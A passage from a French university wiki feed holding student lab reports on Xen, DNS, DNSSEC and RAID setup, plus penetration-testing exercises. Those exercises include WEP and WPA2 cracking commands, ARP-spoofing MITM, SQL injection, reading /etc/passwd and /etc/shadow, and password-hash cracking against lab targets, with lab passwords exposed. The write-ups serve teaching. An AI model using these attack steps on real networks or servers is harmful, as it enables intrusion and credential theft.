 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
La première étape est de transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1&lt;br /&gt;
&lt;br /&gt;
Grâce à la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate. Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre commande (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets vers le routeur et vers la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info afin de connaitre les services sur cette machine on utilise l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifie le fichier : /etc/xen/amanite.cfg, puis nous redémarrons notre VM.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab :&lt;br /&gt;
&lt;br /&gt;
  /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
mkdir /raid5&lt;br /&gt;
mount -a&lt;br /&gt;
touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque. On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
A remplir&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54561</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54561"/>
				<updated>2020-12-14T15:47:07Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
La première étape est de transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1&lt;br /&gt;
&lt;br /&gt;
Grâce à la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate. Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
